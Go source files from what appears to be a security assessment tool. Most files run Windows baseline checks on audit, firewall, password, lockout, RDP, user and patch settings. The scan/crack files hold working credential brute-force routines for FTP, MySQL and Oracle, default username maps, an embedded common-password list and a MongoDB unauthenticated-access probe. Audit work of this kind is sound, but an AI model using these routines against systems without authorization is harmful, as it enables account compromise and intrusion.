15 | v, ok := Policy[key] //是否审核系统事件
16 | if ok {
17 | switch v {
18 | case "0":
19 | one = Policyone{Name: value, Static: No, Value: "未开启", Steer: "开启成功与失败事件"}
20 | case "1":
21 | one = Policyone{Name: value, Static: No, Value: "仅成功事件", Steer: "开启成功与失败事件"}
22 | case "2":
23 | one = Policyone{Name: value, Static: No, Value: "仅失败事件", Steer: "开启成功与失败事件"}
24 | case "3":
25 | one = Policyone{Name: value, Static: Yes, Value: "成功和失败事件", Steer: "开启成功与失败事件"}
26 | }
27 | }
28 | auditlist = append(auditlist, one)
29 | }
30 | echo := ""
31 | for _, v := range auditlist {
32 | echo += fmt.Sprintf("%s | %s | %s | %s |
", v.Name, v.Value, v.Static, v.Steer)
33 | }
34 | html = strings.ReplaceAll(html, "审计相关结果", echo)
35 |
36 | //高级审核策略
37 | aud := ExecCommands(`auditpol /get /category:*`)
38 | aud = strings.ReplaceAll(aud, "\r\r\n", "\n")
39 | for _, v := range strings.Split(aud, "\n") {
40 | // 创建一个正则表达式匹配多个空格 将多个连续空格替换为一个
41 | re := regexp.MustCompile(`\s{2,}`)
42 | v = re.ReplaceAllString(v, " ")
43 | if len(strings.Split(v, " ")) == 3 {
44 | one := Policyone{Name: strings.Split(v, " ")[1], Value: strings.Split(v, " ")[2], Steer: "配置为成功和失败"}
45 | switch strings.Split(v, " ")[2] {
46 | case "成功":
47 | one.Static = No
48 | case "无审核":
49 | one.Static = No
50 | case "成功和失败":
51 | one.Static = Yes
52 | }
53 | auditlist = append(auditlist, one)
54 | }
55 | }
56 | echo = ""
57 | for _, v := range auditlist {
58 | echo += fmt.Sprintf("%s | %s | %s | %s |
", v.Name, v.Value, v.Static, v.Steer)
59 | }
60 | html = strings.ReplaceAll(html, "高级审计策略结果", echo)
61 |
62 | echo = ""
63 | eventLogs := []string{"Application", "Security", "Setup", "System"}
64 | for _, v := range eventLogs {
65 | cmd := ExecCommands(fmt.Sprintf("wevtutil get-log %s", v))
66 | echo += cmd + "\n"
67 | }
68 | html = strings.ReplaceAll(html, "日志属性结果", echo)
69 | }
70 |
--------------------------------------------------------------------------------
/run/windows/disk.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "regexp"
8 | "strconv"
9 | "strings"
10 | )
11 |
12 | func disk() {
13 | value := ExecCommands(`wmic logicaldisk get DeviceID, FileSystem, Size, FreeSpace`)
14 | value = strings.ReplaceAll(value, "\r\r\n", "\n")
15 | echo := ""
16 | for _, v := range strings.Split(value, "\n") {
17 | if strings.Count(v, "DeviceID") > 0 {
18 | continue
19 | }
20 | re := regexp.MustCompile(`\s{2,}`)
21 | v = re.ReplaceAllString(v, " ")
22 | data := strings.Split(v, " ")
23 | if len(data) == 5 {
24 | free, _ := strconv.ParseUint(data[2], 10, 64) //如果为int会溢出,int类型在32位系统上的最大值是2147483647
25 | freeg := fmt.Sprintf("%d/G", free/1024.0/1024.0/1024.0)
26 | all, _ := strconv.ParseUint(data[3], 10, 64) //如果为int会溢出,int类型在32位系统上的最大值是2147483647
27 | allg := fmt.Sprintf("%d/G", all/1024.0/1024.0/1024.0)
28 | if freeg == "0/G" || allg == "0/G" {
29 | freeg = fmt.Sprintf("%d/M", free/1024.0/1024.0)
30 | allg = fmt.Sprintf("%d/M", all/1024.0/1024.0)
31 | }
32 | percentage := (float64(free) / float64(all)) * 100
33 | percentageStr := fmt.Sprintf("%.2f%%", percentage)
34 |
35 | echo += fmt.Sprintf("%s | %s | %s | %s | %s |
", data[0], data[1], freeg, allg, percentageStr)
36 | }
37 | }
38 | html = strings.ReplaceAll(html, "磁盘信息结果", echo)
39 | }
40 |
--------------------------------------------------------------------------------
/run/windows/iptable.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "golang.org/x/sys/windows/registry"
8 | "strings"
9 | )
10 |
11 | func iptables() {
12 | var checkiptable []Policyone
13 | onePolicyone := Policyone{}
14 | echo := ""
15 | //域防火墙状态
16 | domainState, err := getFirewallProfileState("DomainProfile")
17 | if err == nil {
18 | if domainState == "Enabled" {
19 | onePolicyone = Policyone{Name: "核查域网络防火墙状态", Value: "已开启", Static: Yes, Steer: "开启"}
20 | } else {
21 | onePolicyone = Policyone{Name: "核查域网络防火墙状态", Value: "未开启", Static: No, Steer: "开启"}
22 | }
23 | } else {
24 | onePolicyone = Policyone{Name: "核查域网络防火墙状态", Value: "未开启", Static: No, Steer: "开启"}
25 | }
26 | checkiptable = append(checkiptable, onePolicyone)
27 | //专用网络防火墙状态
28 | privateState, err := getFirewallProfileState("StandardProfile")
29 | if err == nil {
30 | if privateState == "Enabled" {
31 | onePolicyone = Policyone{Name: "核查专用网络防防火墙状态", Value: "已开启", Static: Yes, Steer: "开启"}
32 | }
33 | } else {
34 | onePolicyone = Policyone{Name: "核查专用网络防防火墙状态", Value: "未开启", Static: No, Steer: "开启"}
35 | }
36 | checkiptable = append(checkiptable, onePolicyone)
37 | //公共网络防火墙状态
38 | publicState, err := getFirewallProfileState("PublicProfile")
39 | if err == nil {
40 | if publicState == "Enabled" {
41 | onePolicyone = Policyone{Name: "核查公共网络防火墙状态", Value: "已开启", Static: Yes, Steer: "开启"}
42 | }
43 | } else {
44 | onePolicyone = Policyone{Name: "核查公共网络防火墙状态", Value: "未开启", Static: No, Steer: "开启"}
45 | }
46 | checkiptable = append(checkiptable, onePolicyone)
47 | for _, v := range checkiptable {
48 | echo += fmt.Sprintf("%s | %s | %s | %s |
", v.Name, v.Value, v.Static, v.Steer)
49 | }
50 | html = strings.ReplaceAll(html, "防火墙状态检查结果", echo)
51 |
52 | //域防火墙规则
53 | domainrlue := ExecCommands("netsh advfirewall firewall show rule name=all profile=domain")
54 | html = strings.ReplaceAll(html, "域防火墙规则结果", domainrlue)
55 | //专网防火墙规则
56 | privaterlue := ExecCommands("netsh advfirewall firewall show rule name=all profile=private")
57 | html = strings.ReplaceAll(html, "专网防火墙规则结果", privaterlue)
58 | //公共防火墙规则
59 | publicrlue := ExecCommands("netsh advfirewall firewall show rule name=all profile=public")
60 | html = strings.ReplaceAll(html, "公共防火墙规则结果", publicrlue)
61 |
62 | }
63 |
64 | // getFirewallProfileState "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\ 下DomainProfile、StandardProfile、PublicProfile
65 | func getFirewallProfileState(profile string) (string, error) {
66 | key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\"+profile, registry.QUERY_VALUE)
67 | if err != nil {
68 | return "", err
69 | }
70 | defer key.Close()
71 |
72 | enabled, _, err := key.GetIntegerValue("EnableFirewall")
73 | if err != nil {
74 | return "", err
75 | }
76 |
77 | if enabled == 0 {
78 | return "Disabled", nil
79 | }
80 | return "Enabled", nil
81 | }
82 |
--------------------------------------------------------------------------------
/run/windows/lockcount.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "strconv"
8 | "strings"
9 | )
10 |
11 | // lock 核查锁定次数
12 | func lock() {
13 | locls := []Policyone{}
14 | v, ok := Policy["LockoutBadCount"] //在锁定账户之前允许的无效登录尝试次数
15 | intv, _ := strconv.Atoi(v)
16 | if ok {
17 | one := Policyone{Name: "检查在锁定账户之前允许的无效登录尝试次数", Static: No, Value: v, Steer: "不多于5次"}
18 | if intv > 0 && intv <= 5 {
19 | one.Static = Yes
20 | }
21 | locls = append(locls, one)
22 | }
23 |
24 | v, ok = Policy["LockoutDuration"] // 账户被锁定的时间(分钟)
25 | intv, _ = strconv.Atoi(v)
26 | if ok {
27 | one := Policyone{Name: "检查账户被锁定的时间(分钟)", Static: No, Value: v, Steer: "锁定不小于1分钟"}
28 | if intv > 1 {
29 | one.Static = Yes
30 | }
31 | locls = append(locls, one)
32 | }
33 | v, ok = Policy["ResetLockoutCount"] // 在重置“无效登录尝试次数”计数器之前的时间(分钟)。
34 | intv, _ = strconv.Atoi(v)
35 | if ok {
36 | one := Policyone{Name: "检查在重置“无效登录尝试次数”计数器之前的时间(分钟)。", Static: No, Value: v, Steer: "不小于3分钟"}
37 | if intv > 1 {
38 | one.Static = Yes
39 | }
40 | locls = append(locls, one)
41 | }
42 | echo := ""
43 | for _, v := range locls {
44 | echo += fmt.Sprintf("%s | %s | %s | %s |
", v.Name, v.Value, v.Static, v.Steer)
45 | }
46 | html = strings.ReplaceAll(html, "失败锁定结果", echo)
47 | }
48 |
--------------------------------------------------------------------------------
/run/windows/mstsc.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "strings"
7 | )
8 |
9 | func mstsc() {
10 | mst := ExecCommandsPowershll(`(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections").fDenyTSConnections`)
11 | mst = strings.ReplaceAll(mst, "\r\n", "")
12 | if mst == "1" {
13 | mst = Yes
14 | }
15 | if mst == "0" {
16 | mst = No
17 | }
18 | html = strings.ReplaceAll(html, "开启远程桌面结果", mst)
19 | html = strings.ReplaceAll(html, "开启远程桌面端口结果", ExecCommandsPowershll(`(Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\').PortNumber`))
20 | }
21 |
--------------------------------------------------------------------------------
/run/windows/netstat.go:
--------------------------------------------------------------------------------
1 | package windows
2 |
3 | import (
4 | "fmt"
5 | "github.com/shirou/gopsutil/v3/net"
6 | )
7 |
8 | func netstat() string {
9 |
10 | td := ""
11 | connections, err := net.Connections("all")
12 | if err != nil {
13 | fmt.Println(err)
14 | return ""
15 | }
16 | for _, connection := range connections {
17 | td += ""
18 | switch connection.Type {
19 | case 1:
20 | td += fmt.Sprintf("tcp | ")
21 | case 2:
22 | td += fmt.Sprintf("udp | ")
23 | }
24 | td += fmt.Sprintf("%s | ", connection.Laddr.IP)
25 | td += fmt.Sprintf("%s | ", connection.Raddr.IP)
26 | td += fmt.Sprintf("%s | ", connection.Status)
27 | td += fmt.Sprintf("%d | ", connection.Laddr.Port)
28 | td += fmt.Sprintf("%d | ", connection.Pid)
29 | td += fmt.Sprintf("%s | ", ExecCommandsPowershll(fmt.Sprintf("Get-Process | Where-Object {$_.Id -eq %d} | Select-Object -ExpandProperty Path", connection.Pid)))
30 | td += "
"
31 | }
32 |
33 | return td
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/run/windows/osinfo.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "regexp"
8 | "strings"
9 | )
10 |
11 | func osinfo() {
12 | name := cmdvalue(`wmic os get Caption /value`)
13 | Version := cmdvalue(`wmic os get Version /value`)
14 | //获取架构后,正则匹配数字,设置代码页936后位字乱码
15 | arch := cmdvalue(`wmic os get OSArchitecture /value`)
16 | re := regexp.MustCompile(`\d+`)
17 | arch = re.FindAllString(arch, -1)[0]
18 | InstallDate := cmdvalue(`wmic os get InstallDate /value`)
19 | html = strings.ReplaceAll(html, "操作系统详细信息", fmt.Sprintf("%s | %s | %s | %s | %s | %s | %s | %s | ", ExecCommandsPowershll("hostname"), name, Version, arch, InstallDate, ExecCommandsPowershll(` typeperf "\Processor(_Total)\% Processor Time" -sc 1 | Select-String -Pattern '"(\d+\.\d+)"\s*' | ForEach-Object { [math]::Round([double]$_.Matches.Groups[1].Value, 2) }`), ExecCommandsPowershll(`typeperf "\Memory\% Committed Bytes In Use" -sc 1 | Select-String -Pattern '"(\d+\.\d+)"\s*' | ForEach-Object { [math]::Round([double]$_.Matches.Groups[1].Value, 2) }`), ExecCommandsPowershll("date")))
20 | systeminfo := ExecCommands("systeminfo")
21 | html = strings.ReplaceAll(html, "系统信息结果", systeminfo)
22 |
23 | }
24 |
25 | func cmdvalue(cmd string) string {
26 | v := ExecCommands(cmd)
27 | v = strings.ReplaceAll(v, "\r\r\n", "")
28 | vlsit := strings.Split(v, "=")
29 | if len(vlsit) == 2 {
30 | return vlsit[1]
31 | }
32 | return ""
33 |
34 | }
35 |
--------------------------------------------------------------------------------
/run/windows/passwd.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "strconv"
8 | "strings"
9 | )
10 |
11 | // checkpasswd 检查密码复杂度相关策略
12 | func checkpasswd() {
13 | var passwd []Policyone
14 | v, ok := Policy["PasswordComplexity"] //是否开启启用密码复杂度要求
15 | if ok {
16 | one := Policyone{Name: "检查是否开启密码复杂度要求", Static: No, Value: "未开启", Steer: "开启密码复杂度要求"}
17 | if v == "1" {
18 | one.Static = Yes
19 | one.Value = "已开启"
20 | }
21 | passwd = append(passwd, one)
22 | }
23 |
24 | v, ok = Policy["MinimumPasswordLength"] //检查密码的最短长度要求
25 | intv, _ := strconv.Atoi(v)
26 | if ok {
27 | one := Policyone{Name: "检查密码的最短长度要求(位数)", Static: No, Value: v, Steer: "长度不低于8位"}
28 | if intv >= 8 {
29 | one.Static = Yes
30 | }
31 | passwd = append(passwd, one)
32 | }
33 |
34 | v, ok = Policy["PasswordHistorySize"] //在允许重新使用相同密码之前必须使用的唯一新密码的数量。
35 | intv, _ = strconv.Atoi(v)
36 | if ok {
37 | one := Policyone{Name: "检查在允许重新使用相同密码之前必须使用的唯一新密码的数量", Static: No, Value: v, Steer: "不允许"}
38 | if intv == 0 {
39 | one.Static = Yes
40 | }
41 | passwd = append(passwd, one)
42 | }
43 | //替换
44 | echo := ""
45 | for _, v := range passwd {
46 | echo += fmt.Sprintf("
%s | %s | %s | %s |
", v.Name, v.Value, v.Static, v.Steer)
47 | }
48 | html = strings.ReplaceAll(html, "密码复杂度结果", echo)
49 | //密码有效期
50 | passwd = []Policyone{}
51 | v, ok = Policy["MaximumPasswordAge"] //密码的最长有效期限(天数)
52 | intv, _ = strconv.Atoi(v)
53 | if ok {
54 | one := Policyone{Name: "检查密码的最长有效期限(天数)", Static: No, Value: v, Steer: "不高于90天定期更换口令"}
55 | if intv <= 90 {
56 | one.Static = Yes
57 | }
58 | passwd = append(passwd, one)
59 | }
60 | v, ok = Policy["MinimumPasswordAge"] //密码的最短有效期限(天数)
61 | intv, _ = strconv.Atoi(v)
62 | if ok {
63 | one := Policyone{Name: "检查密码的最短有效期限(天数)", Static: No, Value: v, Steer: "不少于1天定期更换口令"}
64 | if intv >= 1 {
65 | one.Static = Yes
66 | }
67 | passwd = append(passwd, one)
68 | }
69 | echo = ""
70 | for _, v := range passwd {
71 | echo += fmt.Sprintf("%s | %s | %s | %s |
", v.Name, v.Value, v.Static, v.Steer)
72 | }
73 | html = strings.ReplaceAll(html, "密码有效期检查结果", echo)
74 |
75 | }
76 |
--------------------------------------------------------------------------------
/run/windows/patch.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "regexp"
8 | "strings"
9 | )
10 |
11 | func patch() {
12 | //补丁信息
13 | patchecho := ""
14 | patch := ExecCommands("wmic qfe list")
15 | patch = strings.ReplaceAll(patch, "\r\n", "\n")
16 | for i := 1; i < len(strings.Split(patch, "\n")); i++ {
17 | line := strings.Split(patch, "\n")[i]
18 | var url, csname, desc, fixid, installedBy, date string
19 | fmt.Sscanf(line, "%s %s %s %s %s %s", &url, &csname, &desc, &fixid, &installedBy, &date)
20 | patchecho += fmt.Sprintf("%s %s %s %s %s %s\n", url, csname, desc, fixid, installedBy, date)
21 | // 创建一个正则表达式匹配多个空格
22 | re := regexp.MustCompile(`\s{2,}`)
23 | // 将多个连续空格替换为一个
24 | patchecho = re.ReplaceAllString(patchecho, " ")
25 | }
26 | html = strings.ReplaceAll(html, "补丁相关结果", patchecho) //补丁
27 |
28 | }
29 |
--------------------------------------------------------------------------------
/run/windows/regedt.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "golang.org/x/sys/windows/registry"
8 | )
9 |
10 | // regedt 读取是user 计算机\HKEY_LOCAL_MACHINE
11 | func regedt(path, keys string) (string, error) {
12 | // 打开注册表键值
13 | key, err := registry.OpenKey(registry.CURRENT_USER, path, registry.READ)
14 | if err != nil {
15 | fmt.Println("Error opening registry key:", err)
16 | return "", err
17 | }
18 | defer key.Close()
19 | // 读取特定键
20 | value, _, err := key.GetStringValue(keys)
21 | if err != nil {
22 | return "", err
23 | }
24 |
25 | return value, nil
26 | }
27 |
28 | // regedtmachine 读取的是计算机\HKEY_LOCAL_MACHINE\
29 | func regedtmachineDWORD(path, keys string) (uint64, error) {
30 | key, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE)
31 | if err != nil {
32 | fmt.Println("Error opening registry key:", err)
33 | return 0, err
34 | }
35 | defer key.Close()
36 | // 读取特定键
37 |
38 | value, _, err := key.GetIntegerValue(keys)
39 | if err != nil {
40 | return 0, err
41 | }
42 |
43 | return value, nil
44 | }
45 |
46 | // regedtmachineString 读取的是计算机\HKEY_LOCAL_MACHINE\
47 | func regedtmachineString(path, keys string) (string, error) {
48 | key, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE)
49 | if err != nil {
50 | fmt.Println("Error opening registry key:", err)
51 | return "", err
52 | }
53 | defer key.Close()
54 | // 读取特定键
55 |
56 | value, _, err := key.GetStringValue(keys)
57 | if err != nil {
58 | return "", err
59 | }
60 |
61 | return value, nil
62 | }
63 |
--------------------------------------------------------------------------------
/run/windows/users.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "strings"
8 | )
9 |
10 | type UserInformation struct {
11 | Name string //用户名
12 | Nameall string //全名
13 | Sid string //SID
14 | Annotation string //注释
15 | Lock string //是否启用
16 | AfTime string //帐户到期
17 | Afpasswd string //上次修改密码时间
18 | PasswdAf string //密码到期
19 | Checkpass string //需要密码
20 | Aflogin string //上次登录
21 | Group string //本地组
22 | }
23 |
24 | func usercheck() {
25 | echo := ""
26 | userlist := []string{}
27 | use := ExecCommands("wmic useraccount list full")
28 | use = strings.ReplaceAll(use, "\r\r\n", "\n")
29 | for _, i := range strings.Split(use, "\n") {
30 | if strings.Count(i, "Name=") == 1 && strings.Count(i, "FullName") == 0 {
31 | userlist = append(userlist, strings.Split(i, "=")[1])
32 | }
33 | }
34 | //var users []UserInformation //结构体用户信息
35 | for _, user := range userlist {
36 | uu := UserInformation{}
37 | u := ExecCommands("chcp 936", fmt.Sprintf("net user %s", user))
38 | u = strings.ReplaceAll(u, "\r\n", "\n")
39 | for _, s := range strings.Split(u, "\n") {
40 | if len(s) > 0 {
41 | words := strings.Fields(s)
42 | s = strings.Join(words, " ")
43 | uservaule := strings.Split(s, " ")
44 | if len(uservaule) >= 2 {
45 | switch uservaule[0] {
46 | case "用户名":
47 | uu.Name = uservaule[1]
48 | case "全名":
49 | uu.Nameall = uservaule[1]
50 | case "注释", "Comment":
51 | echo := ""
52 | if len(uservaule) >= 1 {
53 | for i := 1; i < len(uservaule); i++ {
54 | echo += uservaule[i]
55 | }
56 | }
57 | uu.Annotation = echo
58 | case "帐户启用":
59 | uu.Lock = uservaule[1]
60 | case "帐户到期":
61 | uu.AfTime = uservaule[1]
62 | case "上次设置密码":
63 | uu.Afpasswd = uservaule[1]
64 | case "密码到期":
65 | uu.PasswdAf = uservaule[1]
66 | case "需要密码":
67 | uu.Checkpass = uservaule[1]
68 | case "上次登录":
69 | uu.Aflogin = uservaule[1]
70 | case "本地组成员": //组可能有多个
71 | group := ""
72 | if len(uservaule) > 1 {
73 | for i := 1; i < len(uservaule); i++ {
74 | group += (uservaule[i])
75 | }
76 | }
77 | uu.Group = group
78 | }
79 | }
80 | }
81 | }
82 | //获取用户sid
83 | sid := ExecCommands(fmt.Sprintf("wmic useraccount where name='%s' get sid", user))
84 | sid = strings.ReplaceAll(sid, "\r\r\n", "")
85 | sid = strings.ReplaceAll(sid, "SID", "")
86 | sid = strings.ReplaceAll(sid, " ", "")
87 | uu.Sid = sid
88 | echo += fmt.Sprintf("%s | %s | %s | %s | %s | %s | %s | %s | %s | %s | %s |
", uu.Name, uu.Nameall, uu.Sid, uu.Annotation, uu.Lock, uu.AfTime, uu.Afpasswd, uu.Checkpass, uu.PasswdAf, uu.Aflogin, uu.Group)
89 | }
90 | html = strings.ReplaceAll(html, "用户详细信息", echo)
91 |
92 | }
93 |
--------------------------------------------------------------------------------
/run/xshell/xshell_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | package xshell
4 |
5 | import "github.com/spf13/cobra"
6 |
7 | func Run(cmd *cobra.Command, args []string) { return }
8 |
--------------------------------------------------------------------------------
/scan/crack/def-user-passwd.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "embed"
5 | "golin/global"
6 | "os"
7 | "strings"
8 | )
9 |
10 | var (
11 | passwdlist []string
12 | userlist []string
13 | )
14 |
15 | var userMap = map[string][]string{
16 | "ssh": {"root"},
17 | "mysql": {"root"},
18 | "redis": {"", "root"},
19 | "postgresql": {"postgres", "root"},
20 | "sqlserver": {"sa", "administrator"},
21 | "ftp": {"ftp", "admin"},
22 | "smb": {"administrator", "guest"},
23 | "telnet": {"admin", "root"},
24 | "tomcat": {"tomcat", "manager", "admin"},
25 | "rdp": {"administrator"},
26 | "oracle": {"orcl", "sys", "system"},
27 | }
28 |
29 | //go:embed password.txt
30 | var passwd embed.FS
31 |
32 | // Checkdistfile 用户自定义的字典文件
33 | func Checkdistfile(userfile, passwdfile string) {
34 | if global.PathExists(userfile) {
35 | data, _ := os.ReadFile(userfile)
36 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n")
37 | userlist = append(userlist, strings.Split(datastr, "\n")...)
38 | }
39 | if global.PathExists(passwdfile) {
40 | data, _ := os.ReadFile(passwdfile)
41 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n")
42 | passwdlist = append(passwdlist, strings.Split(datastr, "\n")...)
43 | }
44 |
45 | }
46 |
47 | func Passwdlist() []string {
48 |
49 | if len(passwdlist) > 0 {
50 | return global.RemoveDuplicates(passwdlist)
51 | }
52 |
53 | data, _ := passwd.ReadFile("password.txt")
54 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n")
55 | for _, u := range strings.Split(datastr, "\n") {
56 | passwdlist = append(passwdlist, u)
57 | }
58 | passwdlist = global.RemoveDuplicates(passwdlist)
59 | return passwdlist
60 | }
61 |
62 | func Userlist(mode string) []string {
63 |
64 | if len(userlist) > 0 {
65 | return global.RemoveDuplicates(userlist)
66 | }
67 |
68 | return userMap[mode]
69 | }
70 |
--------------------------------------------------------------------------------
/scan/crack/ftp.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/jlaffaye/ftp"
7 | "time"
8 | )
9 |
10 | func ftpcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
11 | c, err := ftp.Dial(fmt.Sprintf("%s:%d", ip, port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second))
12 | if err == nil {
13 | err = c.Login(user, passwd)
14 | if err == nil {
15 | end(ip, user, passwd, port, "FTP")
16 | _ = c.Quit()
17 | cancel()
18 | }
19 | }
20 | return
21 | }
22 |
--------------------------------------------------------------------------------
/scan/crack/mongodb.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strconv"
7 | "strings"
8 | "time"
9 | )
10 |
11 | // Mongodbcon 此函数参考fscan项目感谢
12 | func Mongodbcon(ip, port string) {
13 | packet1 := []byte{
14 | 0x69, 0x00, 0x00, 0x00, // messageLength
15 | 0x39, 0x00, 0x00, 0x00, // requestID
16 | 0x00, 0x00, 0x00, 0x00, // responseTo
17 | 0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
18 | 0x00, 0x00, 0x00, 0x00, // flagBits
19 | 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
20 | }
21 | //op_query
22 | packet2 := []byte{
23 | 0x48, 0x00, 0x00, 0x00, // messageLength
24 | 0x02, 0x00, 0x00, 0x00, // requestID
25 | 0x00, 0x00, 0x00, 0x00, // responseTo
26 | 0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
27 | 0x00, 0x00, 0x00, 0x00, // flags
28 | 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
29 | 0x00, 0x00, 0x00, 0x00, // numberToSkip
30 | 0x01, 0x00, 0x00, 0x00, // numberToReturn
31 | // query db.adminCommand({getLog: "startupWarnings"})
32 | 0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
33 | }
34 |
35 | realhost := fmt.Sprintf("%s:%v", ip, port)
36 |
37 | checkUnAuth := func(address string, packet []byte) (string, error) {
38 | conn, err := net.DialTimeout("tcp", realhost, time.Duration(3)*time.Second)
39 | if err != nil {
40 | return "", err
41 | }
42 | defer func() {
43 | if conn != nil {
44 | conn.Close()
45 | }
46 | }()
47 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(3) * time.Second))
48 | if err != nil {
49 | return "", nil
50 | }
51 | _, err = conn.Write(packet)
52 | if err != nil {
53 | return "", err
54 | }
55 | reply := make([]byte, 1024)
56 | count, err := conn.Read(reply)
57 | if err != nil {
58 | return "", err
59 | }
60 | return string(reply[0:count]), nil
61 | }
62 |
63 | reply, err := checkUnAuth(realhost, packet1)
64 | if err != nil {
65 | reply, err = checkUnAuth(realhost, packet2)
66 | if err != nil {
67 | return
68 | }
69 | }
70 | if strings.Contains(reply, "totalLinesWritten") {
71 | intport, _ := strconv.Atoi(port)
72 | end(ip, "未授权访问", "", intport, "MongoDB")
73 | }
74 | return
75 | }
76 |
--------------------------------------------------------------------------------
/scan/crack/mysql.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | mysqldriver "github.com/go-sql-driver/mysql" // 原生驱动
7 | "gorm.io/driver/mysql"
8 | "gorm.io/gorm"
9 | "gorm.io/gorm/logger"
10 | )
11 |
12 | func init() {
13 | _ = mysqldriver.SetLogger(&mysqldriver.NopLogger{})
14 | }
15 | func mySql(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
16 | dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4&parseTime=True&loc=Local&timeout=%ds", user, passwd, ip, port, "mysql", timeout)
17 | _, err := gorm.Open(mysql.Open(dsn), &gorm.Config{
18 | Logger: logger.Discard, // 设置为丢弃所有日志
19 | })
20 | if err == nil {
21 | end(ip, user, passwd, port, "MySql")
22 | cancel()
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/scan/crack/oracle.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "database/sql"
6 | "fmt"
7 | _ "github.com/sijms/go-ora/v2"
8 | "time"
9 | )
10 |
11 | func oraclecon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
12 | dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%d/orcl", user, passwd, ip, port)
13 | db, err := sql.Open("oracle", dataSourceName)
14 | if err == nil {
15 | db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
16 | db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
17 | db.SetMaxIdleConns(0)
18 | defer db.Close()
19 | err = db.Ping()
20 | if err == nil {
21 | end(ip, user, passwd, port, "oracle")
22 | cancel()
23 | }
24 | }
25 |
26 | }
27 |
--------------------------------------------------------------------------------
/scan/crack/password.txt:
--------------------------------------------------------------------------------
1 | root
2 | 123456
3 | tomcat
4 | test123456
5 | test12345
6 | test123
7 | test
8 | 1234qwer!@#$
9 | 1234qwer
10 | system
11 | sys
12 | sqlserver
13 | sqlpass
14 | sql123
15 | sa123
16 | Aly@1234
17 | sa
18 | redhat
19 | 123.com
20 |
21 | qwerty
22 | qwer1234admin
23 | qwer123
24 | qwer1234
25 | qweasdzxc
26 | qazwsx
27 | q1w2e3r4admin
28 | q1w2e3r4
29 | postgres
30 | password123
31 | password
32 | Passw0rd
33 | pass
34 | P@ssw0rd
35 | 1qaz2wsx#
36 | ire360!
37 | oracle
38 | mysql
39 | ftppass
40 | ftp
41 | administrator123
42 | administrator
43 | admin888
44 | admin123!@#
45 | admin123
46 | admin456
47 | admin123456
48 | admin@123
49 | admin#123
50 | admin
51 | abc123
